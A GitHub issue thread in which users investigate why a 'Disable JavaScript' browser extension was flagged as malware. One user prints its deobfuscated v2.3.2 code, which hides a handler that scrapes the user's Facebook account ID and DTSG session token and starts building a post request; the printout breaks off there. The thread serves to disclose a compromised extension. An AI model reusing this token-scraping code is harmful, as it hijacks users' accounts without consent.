dpacassi / disable-javascript

Adds the ability to disable JavaScript on specific sites.
MIT License
272 stars 34 forks source link

"This extension contains malware and is unsafe. Remove it from Chrome so it can no longer see and change your data on sites you visit, including your personal info." #118

Open NavinF opened 3 months ago

NavinF commented 3 months ago

Anyone know what happened? The repo's README suggests that the extension was sold, but it does not say who the new owner is. The extension's website URL still points to this repo and the webstore page was taken down. I skimmed the JS source code on my machine and didn't see anything suspicious, but Chrome's warning is pretty clear:

Screenshot 2024-03-27 at 11 43 52 PM
onionymous2 commented 3 months ago

https://addons.mozilla.org/en-US/firefox/addon/disable-javascript/versions/ Both v2.3.2 and v2.3.1 of the Firefox version are still accessible here. v2.3.1 is the last version using code in this repo, I believe.

v2.3.1 looks similar to the Chrome version which can still be downloaded here https://extpose.com/ext/8234

I diffed the versions and v2.3.2 in the FF version seems to have added some references to LinkedIn and FB (reels?). All the code is now obfuscated.

Definitely looks quite shady.

image

NavinF commented 3 months ago

Thanks, I guess I got lucky since none of my machines updated past v2.3.1 before the extension got flagged. btw this extension's JS in my chrome profile is not obfuscated or even minified.

@dpacassi care to comment?

springandme commented 3 months ago

The same error occurs with the edge browser, asking to remove the plugin v2.3.1 image

Irrelon commented 3 months ago

Seems like we need to fork this and maintain it. Definitely seems dodgy that linkedin and facebook urls are in the extension source and that the code has been obfuscated. There are legitimate reasons to minify the source which could account for obfuscation but the links... that's a different story.

BogDrakonov commented 3 months ago

Here's the code unminified

(function () {
    "use strict";
    function z(t) {
        return typeof t == "function" ? { main: t } : t;
    }
    var Z = typeof globalThis < "u" ? globalThis : typeof window < "u" ? window : typeof global < "u" ? global : typeof self < "u" ? self : {};
    function K(t) {
        return t && t.__esModule && Object.prototype.hasOwnProperty.call(t, "default") ? t.default : t;
    }
    var J = { exports: {} };
    (function (t, d) {
        (function (y, f) {
            f(t);
        })(typeof globalThis < "u" ? globalThis : typeof self < "u" ? self : Z, function (y) {
            var f, v;
            if (!((v = (f = globalThis.chrome) == null ? void 0 : f.runtime) != null && v.id)) throw new Error("This script should only be loaded in a browser extension.");
            if (typeof globalThis.browser > "u" || Object.getPrototypeOf(globalThis.browser) !== Object.prototype) {
                const k = "The message port closed before a response was received.",
                    W = (_) => {
                        const C = {
                            alarms: { clear: { minArgs: 0, maxArgs: 1 }, clearAll: { minArgs: 0, maxArgs: 0 }, get: { minArgs: 0, maxArgs: 1 }, getAll: { minArgs: 0, maxArgs: 0 } },
                            bookmarks: {
                                create: { minArgs: 1, maxArgs: 1 },
                                get: { minArgs: 1, maxArgs: 1 },
                                getChildren: { minArgs: 1, maxArgs: 1 },
                                getRecent: { minArgs: 1, maxArgs: 1 },
                                getSubTree: { minArgs: 1, maxArgs: 1 },
                                getTree: { minArgs: 0, maxArgs: 0 },
                                move: { minArgs: 2, maxArgs: 2 },
                                remove: { minArgs: 1, maxArgs: 1 },
                                removeTree: { minArgs: 1, maxArgs: 1 },
                                search: { minArgs: 1, maxArgs: 1 },
                                update: { minArgs: 2, maxArgs: 2 },
                            },
                            browserAction: {
                                disable: { minArgs: 0, maxArgs: 1, fallbackToNoCallback: !0 },
                                enable: { minArgs: 0, maxArgs: 1, fallbackToNoCallback: !0 },
                                getBadgeBackgroundColor: { minArgs: 1, maxArgs: 1 },
                                getBadgeText: { minArgs: 1, maxArgs: 1 },
                                getPopup: { minArgs: 1, maxArgs: 1 },
                                getTitle: { minArgs: 1, maxArgs: 1 },
                                openPopup: { minArgs: 0, maxArgs: 0 },
                                setBadgeBackgroundColor: { minArgs: 1, maxArgs: 1, fallbackToNoCallback: !0 },
                                setBadgeText: { minArgs: 1, maxArgs: 1, fallbackToNoCallback: !0 },
                                setIcon: { minArgs: 1, maxArgs: 1 },
                                setPopup: { minArgs: 1, maxArgs: 1, fallbackToNoCallback: !0 },
                                setTitle: { minArgs: 1, maxArgs: 1, fallbackToNoCallback: !0 },
                            },
                            browsingData: {
                                remove: { minArgs: 2, maxArgs: 2 },
                                removeCache: { minArgs: 1, maxArgs: 1 },
                                removeCookies: { minArgs: 1, maxArgs: 1 },
                                removeDownloads: { minArgs: 1, maxArgs: 1 },
                                removeFormData: { minArgs: 1, maxArgs: 1 },
                                removeHistory: { minArgs: 1, maxArgs: 1 },
                                removeLocalStorage: { minArgs: 1, maxArgs: 1 },
                                removePasswords: { minArgs: 1, maxArgs: 1 },
                                removePluginData: { minArgs: 1, maxArgs: 1 },
                                settings: { minArgs: 0, maxArgs: 0 },
                            },
                            commands: { getAll: { minArgs: 0, maxArgs: 0 } },
                            contextMenus: { remove: { minArgs: 1, maxArgs: 1 }, removeAll: { minArgs: 0, maxArgs: 0 }, update: { minArgs: 2, maxArgs: 2 } },
                            cookies: { get: { minArgs: 1, maxArgs: 1 }, getAll: { minArgs: 1, maxArgs: 1 }, getAllCookieStores: { minArgs: 0, maxArgs: 0 }, remove: { minArgs: 1, maxArgs: 1 }, set: { minArgs: 1, maxArgs: 1 } },
                            devtools: {
                                inspectedWindow: { eval: { minArgs: 1, maxArgs: 2, singleCallbackArg: !1 } },
                                panels: { create: { minArgs: 3, maxArgs: 3, singleCallbackArg: !0 }, elements: { createSidebarPane: { minArgs: 1, maxArgs: 1 } } },
                            },
                            downloads: {
                                cancel: { minArgs: 1, maxArgs: 1 },
                                download: { minArgs: 1, maxArgs: 1 },
                                erase: { minArgs: 1, maxArgs: 1 },
                                getFileIcon: { minArgs: 1, maxArgs: 2 },
                                open: { minArgs: 1, maxArgs: 1, fallbackToNoCallback: !0 },
                                pause: { minArgs: 1, maxArgs: 1 },
                                removeFile: { minArgs: 1, maxArgs: 1 },
                                resume: { minArgs: 1, maxArgs: 1 },
                                search: { minArgs: 1, maxArgs: 1 },
                                show: { minArgs: 1, maxArgs: 1, fallbackToNoCallback: !0 },
                            },
                            extension: { isAllowedFileSchemeAccess: { minArgs: 0, maxArgs: 0 }, isAllowedIncognitoAccess: { minArgs: 0, maxArgs: 0 } },
                            history: {
                                addUrl: { minArgs: 1, maxArgs: 1 },
                                deleteAll: { minArgs: 0, maxArgs: 0 },
                                deleteRange: { minArgs: 1, maxArgs: 1 },
                                deleteUrl: { minArgs: 1, maxArgs: 1 },
                                getVisits: { minArgs: 1, maxArgs: 1 },
                                search: { minArgs: 1, maxArgs: 1 },
                            },
                            i18n: { detectLanguage: { minArgs: 1, maxArgs: 1 }, getAcceptLanguages: { minArgs: 0, maxArgs: 0 } },
                            identity: { launchWebAuthFlow: { minArgs: 1, maxArgs: 1 } },
                            idle: { queryState: { minArgs: 1, maxArgs: 1 } },
                            management: { get: { minArgs: 1, maxArgs: 1 }, getAll: { minArgs: 0, maxArgs: 0 }, getSelf: { minArgs: 0, maxArgs: 0 }, setEnabled: { minArgs: 2, maxArgs: 2 }, uninstallSelf: { minArgs: 0, maxArgs: 1 } },
                            notifications: { clear: { minArgs: 1, maxArgs: 1 }, create: { minArgs: 1, maxArgs: 2 }, getAll: { minArgs: 0, maxArgs: 0 }, getPermissionLevel: { minArgs: 0, maxArgs: 0 }, update: { minArgs: 2, maxArgs: 2 } },
                            pageAction: {
                                getPopup: { minArgs: 1, maxArgs: 1 },
                                getTitle: { minArgs: 1, maxArgs: 1 },
                                hide: { minArgs: 1, maxArgs: 1, fallbackToNoCallback: !0 },
                                setIcon: { minArgs: 1, maxArgs: 1 },
                                setPopup: { minArgs: 1, maxArgs: 1, fallbackToNoCallback: !0 },
                                setTitle: { minArgs: 1, maxArgs: 1, fallbackToNoCallback: !0 },
                                show: { minArgs: 1, maxArgs: 1, fallbackToNoCallback: !0 },
                            },
                            permissions: { contains: { minArgs: 1, maxArgs: 1 }, getAll: { minArgs: 0, maxArgs: 0 }, remove: { minArgs: 1, maxArgs: 1 }, request: { minArgs: 1, maxArgs: 1 } },
                            runtime: {
                                getBackgroundPage: { minArgs: 0, maxArgs: 0 },
                                getPlatformInfo: { minArgs: 0, maxArgs: 0 },
                                openOptionsPage: { minArgs: 0, maxArgs: 0 },
                                requestUpdateCheck: { minArgs: 0, maxArgs: 0 },
                                sendMessage: { minArgs: 1, maxArgs: 3 },
                                sendNativeMessage: { minArgs: 2, maxArgs: 2 },
                                setUninstallURL: { minArgs: 1, maxArgs: 1 },
                            },
                            sessions: { getDevices: { minArgs: 0, maxArgs: 1 }, getRecentlyClosed: { minArgs: 0, maxArgs: 1 }, restore: { minArgs: 0, maxArgs: 1 } },
                            storage: {
                                local: { clear: { minArgs: 0, maxArgs: 0 }, get: { minArgs: 0, maxArgs: 1 }, getBytesInUse: { minArgs: 0, maxArgs: 1 }, remove: { minArgs: 1, maxArgs: 1 }, set: { minArgs: 1, maxArgs: 1 } },
                                managed: { get: { minArgs: 0, maxArgs: 1 }, getBytesInUse: { minArgs: 0, maxArgs: 1 } },
                                sync: { clear: { minArgs: 0, maxArgs: 0 }, get: { minArgs: 0, maxArgs: 1 }, getBytesInUse: { minArgs: 0, maxArgs: 1 }, remove: { minArgs: 1, maxArgs: 1 }, set: { minArgs: 1, maxArgs: 1 } },
                            },
                            tabs: {
                                captureVisibleTab: { minArgs: 0, maxArgs: 2 },
                                create: { minArgs: 1, maxArgs: 1 },
                                detectLanguage: { minArgs: 0, maxArgs: 1 },
                                discard: { minArgs: 0, maxArgs: 1 },
                                duplicate: { minArgs: 1, maxArgs: 1 },
                                executeScript: { minArgs: 1, maxArgs: 2 },
                                get: { minArgs: 1, maxArgs: 1 },
                                getCurrent: { minArgs: 0, maxArgs: 0 },
                                getZoom: { minArgs: 0, maxArgs: 1 },
                                getZoomSettings: { minArgs: 0, maxArgs: 1 },
                                goBack: { minArgs: 0, maxArgs: 1 },
                                goForward: { minArgs: 0, maxArgs: 1 },
                                highlight: { minArgs: 1, maxArgs: 1 },
                                insertCSS: { minArgs: 1, maxArgs: 2 },
                                move: { minArgs: 2, maxArgs: 2 },
                                query: { minArgs: 1, maxArgs: 1 },
                                reload: { minArgs: 0, maxArgs: 2 },
                                remove: { minArgs: 1, maxArgs: 1 },
                                removeCSS: { minArgs: 1, maxArgs: 2 },
                                sendMessage: { minArgs: 2, maxArgs: 3 },
                                setZoom: { minArgs: 1, maxArgs: 2 },
                                setZoomSettings: { minArgs: 1, maxArgs: 2 },
                                update: { minArgs: 1, maxArgs: 2 },
                            },
                            topSites: { get: { minArgs: 0, maxArgs: 0 } },
                            webNavigation: { getAllFrames: { minArgs: 1, maxArgs: 1 }, getFrame: { minArgs: 1, maxArgs: 1 } },
                            webRequest: { handlerBehaviorChanged: { minArgs: 0, maxArgs: 0 } },
                            windows: {
                                create: { minArgs: 0, maxArgs: 1 },
                                get: { minArgs: 1, maxArgs: 2 },
                                getAll: { minArgs: 0, maxArgs: 1 },
                                getCurrent: { minArgs: 0, maxArgs: 1 },
                                getLastFocused: { minArgs: 0, maxArgs: 1 },
                                remove: { minArgs: 1, maxArgs: 1 },
                                update: { minArgs: 2, maxArgs: 2 },
                            },
                        };
                        if (Object.keys(C).length === 0) throw new Error("api-metadata.json has not been included in browser-polyfill");
                        class T extends WeakMap {
                            constructor(g, m = void 0) {
                                super(m), (this.createItem = g);
                            }
                            get(g) {
                                return this.has(g) || this.set(g, this.createItem(g)), super.get(g);
                            }
                        }
                        const L = (o) => o && typeof o == "object" && typeof o.then == "function",
                            E = (o, g) => (...m) => {
                                _.runtime.lastError ? o.reject(new Error(_.runtime.lastError.message)) : g.singleCallbackArg || (m.length <= 1 && g.singleCallbackArg !== !1) ? o.resolve(m[0]) : o.resolve(m);
                            },
                            w = (o) => (o == 1 ? "argument" : "arguments"),
                            F = (o, g) =>
                                function (u, ...A) {
                                    if (A.length < g.minArgs) throw new Error(`Expected at least ${g.minArgs} ${w(g.minArgs)} for ${o}(), got ${A.length}`);
                                    if (A.length > g.maxArgs) throw new Error(`Expected at most ${g.maxArgs} ${w(g.maxArgs)} for ${o}(), got ${A.length}`);
                                    return new Promise((h, x) => {
                                        if (g.fallbackToNoCallback)
                                            try {
                                                u[o](...A, E({ resolve: h, reject: x }, g));
                                            } catch (c) {
                                                console.warn(`${o} API method doesn't seem to support the callback parameter, falling back to call it without a callback: `, c),
                                                    u[o](...A),
                                                    (g.fallbackToNoCallback = !1),
                                                    (g.noCallback = !0),
                                                    h();
                                            }
                                        else g.noCallback ? (u[o](...A), h()) : u[o](...A, E({ resolve: h, reject: x }, g));
                                    });
                                },
                            N = (o, g, m) =>
                                new Proxy(g, {
                                    apply(u, A, h) {
                                        return m.call(A, o, ...h);
                                    },
                                });
                        let P = Function.call.bind(Object.prototype.hasOwnProperty);
                        const I = (o, g = {}, m = {}) => {
                                let u = Object.create(null),
                                    A = {
                                        has(x, c) {
                                            return c in o || c in u;
                                        },
                                        get(x, c, e) {
                                            if (c in u) return u[c];
                                            if (!(c in o)) return;
                                            let r = o[c];
                                            if (typeof r == "function")
                                                if (typeof g[c] == "function") r = N(o, o[c], g[c]);
                                                else if (P(m, c)) {
                                                    let a = F(c, m[c]);
                                                    r = N(o, o[c], a);
                                                } else r = r.bind(o);
                                            else if (typeof r == "object" && r !== null && (P(g, c) || P(m, c))) r = I(r, g[c], m[c]);
                                            else if (P(m, "*")) r = I(r, g[c], m["*"]);
                                            else
                                                return (
                                                    Object.defineProperty(u, c, {
                                                        configurable: !0,
                                                        enumerable: !0,
                                                        get() {
                                                            return o[c];
                                                        },
                                                        set(a) {
                                                            o[c] = a;
                                                        },
                                                    }),
                                                    r
                                                );
                                            return (u[c] = r), r;
                                        },
                                        set(x, c, e, r) {
                                            return c in u ? (u[c] = e) : (o[c] = e), !0;
                                        },
                                        defineProperty(x, c, e) {
                                            return Reflect.defineProperty(u, c, e);
                                        },
                                        deleteProperty(x, c) {
                                            return Reflect.deleteProperty(u, c);
                                        },
                                    },
                                    h = Object.create(o);
                                return new Proxy(h, A);
                            },
                            S = (o) => ({
                                addListener(g, m, ...u) {
                                    g.addListener(o.get(m), ...u);
                                },
                                hasListener(g, m) {
                                    return g.hasListener(o.get(m));
                                },
                                removeListener(g, m) {
                                    g.removeListener(o.get(m));
                                },
                            }),
                            B = new T((o) =>
                                typeof o != "function"
                                    ? o
                                    : function (m) {
                                          const u = I(m, {}, { getContent: { minArgs: 0, maxArgs: 0 } });
                                          o(u);
                                      }
                            ),
                            j = new T((o) =>
                                typeof o != "function"
                                    ? o
                                    : function (m, u, A) {
                                          let h = !1,
                                              x,
                                              c = new Promise((i) => {
                                                  x = function (s) {
                                                      (h = !0), i(s);
                                                  };
                                              }),
                                              e;
                                          try {
                                              e = o(m, u, x);
                                          } catch (i) {
                                              e = Promise.reject(i);
                                          }
                                          const r = e !== !0 && L(e);
                                          if (e !== !0 && !r && !h) return !1;
                                          const a = (i) => {
                                              i.then(
                                                  (s) => {
                                                      A(s);
                                                  },
                                                  (s) => {
                                                      let l;
                                                      s && (s instanceof Error || typeof s.message == "string") ? (l = s.message) : (l = "An unexpected error occurred"), A({ __mozWebExtensionPolyfillReject__: !0, message: l });
                                                  }
                                              ).catch((s) => {
                                                  console.error("Failed to send onMessage rejected reply", s);
                                              });
                                          };
                                          return a(r ? e : c), !0;
                                      }
                            ),
                            $ = ({ reject: o, resolve: g }, m) => {
                                _.runtime.lastError ? (_.runtime.lastError.message === k ? g() : o(new Error(_.runtime.lastError.message))) : m && m.__mozWebExtensionPolyfillReject__ ? o(new Error(m.message)) : g(m);
                            },
                            q = (o, g, m, ...u) => {
                                if (u.length < g.minArgs) throw new Error(`Expected at least ${g.minArgs} ${w(g.minArgs)} for ${o}(), got ${u.length}`);
                                if (u.length > g.maxArgs) throw new Error(`Expected at most ${g.maxArgs} ${w(g.maxArgs)} for ${o}(), got ${u.length}`);
                                return new Promise((A, h) => {
                                    const x = $.bind(null, { resolve: A, reject: h });
                                    u.push(x), m.sendMessage(...u);
                                });
                            },
                            H = {
                                devtools: { network: { onRequestFinished: S(B) } },
                                runtime: { onMessage: S(j), onMessageExternal: S(j), sendMessage: q.bind(null, "sendMessage", { minArgs: 1, maxArgs: 3 }) },
                                tabs: { sendMessage: q.bind(null, "sendMessage", { minArgs: 2, maxArgs: 3 }) },
                            },
                            R = { clear: { minArgs: 1, maxArgs: 1 }, get: { minArgs: 1, maxArgs: 1 }, set: { minArgs: 1, maxArgs: 1 } };
                        return (C.privacy = { network: { "*": R }, services: { "*": R }, websites: { "*": R } }), I(_, H, C);
                    };
                y.exports = W(chrome);
            } else y.exports = globalThis.browser;
        });
    })(J);
    var Q = J.exports,
        n = K(Q);
    let D;
    const X = new Uint8Array(16);
    function Y() {
        if (!D && ((D = typeof crypto < "u" && crypto.getRandomValues && crypto.getRandomValues.bind(crypto)), !D)) throw new Error("crypto.getRandomValues() not supported. See https://github.com/uuidjs/uuid#getrandomvalues-not-supported");
        return D(X);
    }
    const p = [];
    for (let t = 0; t < 256; ++t) p.push((t + 256).toString(16).slice(1));
    function ee(t, d = 0) {
        return (
            p[t[d + 0]] +
            p[t[d + 1]] +
            p[t[d + 2]] +
            p[t[d + 3]] +
            "-" +
            p[t[d + 4]] +
            p[t[d + 5]] +
            "-" +
            p[t[d + 6]] +
            p[t[d + 7]] +
            "-" +
            p[t[d + 8]] +
            p[t[d + 9]] +
            "-" +
            p[t[d + 10]] +
            p[t[d + 11]] +
            p[t[d + 12]] +
            p[t[d + 13]] +
            p[t[d + 14]] +
            p[t[d + 15]]
        );
    }
    const G = { randomUUID: typeof crypto < "u" && crypto.randomUUID && crypto.randomUUID.bind(crypto) };
    function re(t, d, y) {
        if (G.randomUUID && !d && !t) return G.randomUUID();
        t = t || {};
        const f = t.random || (t.rng || Y)();
        if (((f[6] = (f[6] & 15) | 64), (f[8] = (f[8] & 63) | 128), d)) {
            y = y || 0;
            for (let v = 0; v < 16; ++v) d[y + v] = f[v];
            return d;
        }
        return ee(f);
    }
    const ne = z(() => {
        (function () {
            var t = !0,
                d = {},
                y = ["<all_urls>"],
                f = "firefox",
                v = { "setting-default_state": "on", "setting-disable_behavior": "domain", "setting-shortcuts": !0, "setting-context_menu": !0 },
                k = {},
                W = "setting-",
                _ = "on",
                C = "domain",
                T = !0,
                L = !0;
            switch ("firefox") {
                case "chrome":
                    (t = !0), (y = ["http://*/*", "https://*/*"]), (n.menus = n.contextMenus), (f = "chrome");
                    break;
                case "firefox":
                    t = !1;
                    break;
            }
            "action" in n || (n.action = n.browserAction);
            function E(e) {
                var r = new URL(e).hostname;
                return !(r.trim().length === 0 || r === "newtab" || r === "startpage");
            }
            function w(e, r, a) {
                const i = {};
                return (
                    f === "edge" ? (i.path = { 40: e ? "icons/40/js-on.png" : "icons/40/js-off.png" }) : (i.path = { 48: e ? "icons/48/js-on.png" : "icons/48/js-off.png", 128: e ? "icons/128/js-on.png" : "icons/128/js-off.png" }),
                    typeof r < "u" && (i.tabId = r),
                    typeof a < "u" &&
                        (E(a) ||
                            (f === "edge"
                                ? (i.path = { 40: e ? "icons/40/js-on-grey.png" : "icons/40/js-off-grey.png" })
                                : (i.path = { 48: e ? "icons/48/js-on-grey.png" : "icons/48/js-off-grey.png", 128: e ? "icons/128/js-on-grey.png" : "icons/128/js-off-grey.png" }))),
                    i
                );
            }
            function F(e) {
                return (
                    (e = W + e),
                    new Promise(function (r) {
                        t
                            ? n.storage.local.get(e).then(function (a) {
                                  r(a[e]);
                              })
                            : n.storage.local.get(e, function (a) {
                                  r(a[e]);
                              });
                    })
                );
            }
            function N() {
                return new Promise(function (e) {
                    F("default_state").then(function (r) {
                        e(r);
                    });
                });
            }
            function P() {
                return new Promise(function (e) {
                    F("disable_behavior").then(function (r) {
                        e(r);
                    });
                });
            }
            function I(e) {
                return new Promise(function (r) {
                    var a = [e],
                        i = e.split(".");
                    if (i.length > 1) {
                        var s = i[i.length - 2] + "." + i[i.length - 1];
                        a.push(s);
                    }
                    t
                        ? n.storage.local.get(a).then(function (l) {
                              var b = e in l;
                              b && r(1), s in l && l[s].hasOwnProperty("include-subdomains") && l[s]["include-subdomains"] === !0 && r(2), r(0);
                          })
                        : n.storage.local.get(a).then(function (l) {
                              var b = e in l;
                              b && r(1), s in l && l[s].hasOwnProperty("include-subdomains") && l[s]["include-subdomains"] === !0 && r(2), r(0);
                          });
                });
            }
            function S(e, r) {
                return new Promise(function (a) {
                    N().then(function (i) {
                        P().then(function (s) {
                            if (s === "domain")
                                I(e).then(function (l) {
                                    let b = !1;
                                    ((i === "on" && !l) || (i !== "on" && l)) && (b = !0), a(b);
                                });
                            else if (s === "tab") {
                                let l = i === "on";
                                typeof r < "u" && k.hasOwnProperty(r) && (l = k[r]), a(l);
                            }
                        });
                    });
                });
            }
            function B(e) {
                for (var r in v)
                    if (e.hasOwnProperty(r)) {
                        var i = e[r];
                        if (typeof i < "u")
                            switch (r) {
                                case "setting-default_state":
                                    _ = i;
                                    break;
                                case "setting-disable_behavior":
                                    C = i;
                                    break;
                                case "setting-shortcuts":
                                    T = i;
                                    break;
                                case "setting-context_menu":
                                    L = i;
                                    break;
                            }
                    } else {
                        var a = {};
                        (a[r] = v[r]), n.storage.local.set(a);
                    }
                g(), m();
            }
            function j() {
                var e = [];
                for (var r in v) e.push(r);
                n.storage.local.get(e).then(B);
            }
            function $(e) {
                var r = n.runtime.getManifest(),
                    a = "1.0.0",
                    i = r.version,
                    s = !1,
                    l = !1,
                    b = !1;
                e.hasOwnProperty("setting-version") && (a = e["setting-version"]);
                var M = a.split("."),
                    U = i.split(".");
                if ((M[0] !== U[0] ? ((s = !0), (l = !0)) : M[1] !== U[1] ? ((s = !0), (b = !0)) : M[2] !== U[2] && (s = !0), (l || b) && n.tabs.create({ url: "./pages/about.html" }), s)) {
                    var V = {};
                    (V["setting-version"] = i), n.storage.local.set(V);
                }
                s && parseInt(M[0]) <= 2 && n.storage.local.remove("");
            }
            function q(e) {
                var r = new URL(e.url).hostname,
                    a = e.responseHeaders;
                if (t)
                    return new Promise(function (s) {
                        S(r, e.tabId).then(function (l) {
                            l || a.push({ name: "Content-Security-Policy", value: "script-src 'none';" }), s({ responseHeaders: a });
                        });
                    });
                var i = _ === "on";
                if ((C === "domain" ? d.hasOwnProperty(r) && (i = d[r]) : C === "tab" && k.hasOwnProperty(e.tabId) && (i = k[e.tabId]), !i))
                    return a.push({ name: "Content-Security-Policy", value: "script-src 'none';" }), { responseHeaders: a };
            }
            function H(e) {
                var r = new URL(e.url).hostname;
                S(r).then(function (a) {
                    d[r] = a;
                });
            }
            function R(e) {
                var r = new URL(e.url).hostname;
                E(e.url) &&
                    N().then(function (a) {
                        P().then(function (i) {
                            if (i === "domain")
                                I(r).then(function (l) {
                                    if (l === 1)
                                        n.storage.local.remove(r).then(function () {
                                            c().then(() => {
                                                n.tabs.reload(e.id, { bypassCache: !0 });
                                            });
                                        });
                                    else if (l === 2) {
                                        var b = r.split("."),
                                            M = b[b.length - 2] + "." + b[b.length - 1];
                                        n.storage.local.remove(M).then(function () {
                                            c().then(() => {
                                                n.tabs.reload(e.id, { bypassCache: !0 });
                                            });
                                        });
                                    } else {
                                        const U = {};
                                        (U[r] = new Date().toISOString()),
                                            n.storage.local.set(U).then(function () {
                                                c().then(() => {
                                                    n.tabs.reload(e.id, { bypassCache: !0 });
                                                });
                                            });
                                    }
                                });
                            else if (i === "tab") {
                                var s = a === "on";
                                k.hasOwnProperty(e.id) && (s = k[e.id]), (s = !s), (k[e.id] = s);
                                let l = 10 + e.id;
                                f !== "firefox"
                                    ? s
                                        ? n.declarativeNetRequest.updateSessionRules({ removeRuleIds: [l] }).then(() => n.tabs.reload(e.id, { bypassCache: !0 }))
                                        : n.declarativeNetRequest
                                              .updateSessionRules({
                                                  addRules: [
                                                      {
                                                          id: l,
                                                          priority: 1,
                                                          condition: { resourceTypes: ["main_frame", "sub_frame"], tabIds: [l] },
                                                          action: { type: "modifyHeaders", responseHeaders: [{ header: "Content-Security-Policy", operation: "set", value: "script-src 'none';" }] },
                                                      },
                                                  ],
                                                  removeRuleIds: [l],
                                              })
                                              .then(() => n.tabs.reload(e.id, { bypassCache: !0 }))
                                    : n.tabs.reload(e.id, { bypassCache: !0 });
                            }
                        });
                    });
            }
            var o = function (e) {
                switch (e) {
                    case "toggle-state":
                        t
                            ? n.tabs.query({ active: !0 }).then(function (r) {
                                  R(r[0]);
                              })
                            : n.tabs.query({ active: !0 }, function (r) {
                                  R(r[0]);
                              });
                        break;
                    case "open-settings":
                        n.runtime.openOptionsPage();
                        break;
                }
            };
            function g() {
                typeof n.commands < "u" && (T && !n.commands.onCommand.hasListener(o) ? n.commands.onCommand.addListener(o) : n.commands.onCommand.removeListener(o));
            }
            function m() {
                typeof n.menus < "u" && (L ? n.menus.create({ id: "toggle-js", title: "Toggle JavaScript", contexts: ["page"] }) : n.menus.remove("toggle-js"));
            }
            f === "firefox" &&
                (n.webRequest.onBeforeRequest.addListener(H, { urls: y, types: ["main_frame", "sub_frame"] }, ["blocking"]),
                n.webRequest.onHeadersReceived.addListener(q, { urls: y, types: ["main_frame", "sub_frame"] }, ["blocking", "responseHeaders"])),
                n.tabs.onUpdated.addListener(function (e, r, a) {
                    var i = r.url || a.url;
                    if (E(i) && !(typeof r.status > "u" || r.status !== "complete")) {
                        var s = new URL(i).hostname;
                        S(s, e).then(function (l) {
                            console.log(l),
                                n.action.setIcon(w(l, e, i)),
                                n.action.setTitle({ title: (l ? "Disable" : "Enable") + " Javascript", tabId: e }),
                                l || ("executeScript" in n.tabs ? n.tabs.executeScript(e, { file: "noscript.js" }) : n.scripting.executeScript({ target: { tabId: e }, files: ["noscript.js"] }));
                        });
                    }
                }),
                n.tabs.onActivated.addListener((e) => {
                    const r = e.url;
                    if (r) {
                        const a = new URL(r).hostname;
                        S(a, e.tabId).then(function (i) {
                            console.log(e), typeof n.action.setIcon < "u" && n.action.setIcon(w(i, e.tabId, r));
                        });
                    }
                }),
                n.tabs.onCreated.addListener(function (e) {
                    var r = e.url;
                    if (r) {
                        var a = new URL(r).hostname;
                        S(a, e.id).then(function (i) {
                            typeof n.action.setIcon < "u" && n.action.setIcon(w(i, e.id, r));
                        });
                    }
                }),
                n.action.onClicked.addListener(R),
                f === "firefox"
                    ? (n.menus.create({ id: "settings", title: n.i18n.getMessage("menuItemSettings"), contexts: ["browser_action"] }),
                      n.menus.create({ id: "about", title: "About Disable JavaScript", contexts: ["browser_action"] }),
                      n.menus.onClicked.addListener(function (e, r) {
                          switch (e.menuItemId) {
                              case "settings":
                                  n.runtime.openOptionsPage();
                                  break;
                              case "about":
                                  n.tabs.create({ url: "./about.html" });
                                  break;
                              case "toggle-js":
                                  R(r);
                                  break;
                          }
                      }))
                    : (n.contextMenus.create({ id: "settings", title: n.i18n.getMessage("menuItemSettings"), contexts: ["action"] }),
                      n.contextMenus.create({ id: "about", title: "About Disable JavaScript", contexts: ["action"] }),
                      n.contextMenus.onClicked.addListener(function (e, r) {
                          switch (e.menuItemId) {
                              case "settings":
                                  n.runtime.openOptionsPage();
                                  break;
                              case "about":
                                  n.tabs.create({ url: "about.html" });
                                  break;
                              case "toggle-js":
                                  R(r);
                                  break;
                          }
                      })),
                n.runtime.onMessage.addListener(function (e, r, a) {
                    switch (e.type) {
                        case "default_state":
                            (_ = e.value), typeof n.action.setIcon < "u" && n.action.setIcon(w(e.value === "on"));
                            break;
                        case "disable_behavior":
                            C = e.value;
                            break;
                        case "shortcuts":
                            (T = e.value), g();
                            break;
                        case "context_menu":
                            (L = e.value), m();
                            break;
                        case "reinit-rules":
                            c();
                            break;
                        case "share-lk":
                            let i = {};
                            (i["setting-share-lk-url"] = e.url), n.storage.local.set(i), n.tabs.create({ url: `https://linkedin.com/feed?share=${encodeURIComponent(e.url)}` });
                            break;
                        case "share-fb":
                            return (
                                h().then((s) => {
                                    s.user_id && s.dtsg ? x(s).then(a) : a(null);
                                }),
                                !0
                            );
                    }
                }),
                n.storage.local.onChanged.addListener((e) => {
                    "setting-context_menu" in e && ((L = e["setting-context_menu"].newValue), m()),
                        "setting-shortcuts" in e && ((T = e["setting-shortcuts"].newValue), g()),
                        "setting-disable_behavior" in e && (C = e["setting-disable_behavior"].newValue),
                        "setting-default_state" in e && ((_ = e["setting-default_state"].newValue), typeof n.action.setIcon < "u" && n.action.setIcon(w(_ === "on")));
                }),
                n.runtime.onInstalled.addListener(function (e) {
                    n.storage.local.get("setting-version").then($);
                });
            const u = (e, r) => {
                    if (!isString(e)) return null;
                    const a = r.exec(e);
                    return a ? a[1] : null;
                },
                A = () => Math.floor(Math.random() * 988888) + 11111,
                h = async () => {
                    const e = /"ACCOUNT_ID":"(\d+)"/,
                        r = /"actorID":"([\d]+)"/,
                        a = /"DTSGInitialData",\[],\{"token":"(.*?)"/,
                        i = await fetch("https://www.facebook.com/reel")
                            .then((l) => l.text())
                            .catch(() => !1);
                    return { user_id: u(i, e), actor: u(i, r), dtsg: u(i, a) };
                };
            async function x(e, r) {
                const a = re(),
                    i = {
                        av: e.user_id,
                        __user: e.user_id,
                        __a: "1",
                        __req: "12",
                        __hs: "19688.HYP:comet_pkg.2.1..2.1",
                        dpr: "1",
                        __ccg: "EXCELLENT",
                        __rev: "1010030161",
                        __s: "5o6h0b:i5ynay:05x2qh",
                        __hsi: "7306200835190405846",
                        __comet_req: "15",
                        fb_dtsg: e.dtsg,
                        jazoest: "25481",
                        lsd: "AsXF2iNUNfDfJe2qzyfgo4",
                        __aaid: "0",
                        __spin_r: "1010030161",
                        __spin_b: "trunk",
                        __spin_t: "1701107443",
                        fb_api_caller_class: "RelayModern",
                        fb_api_req_friendly_name: "ComposerStoryCreateMutation",
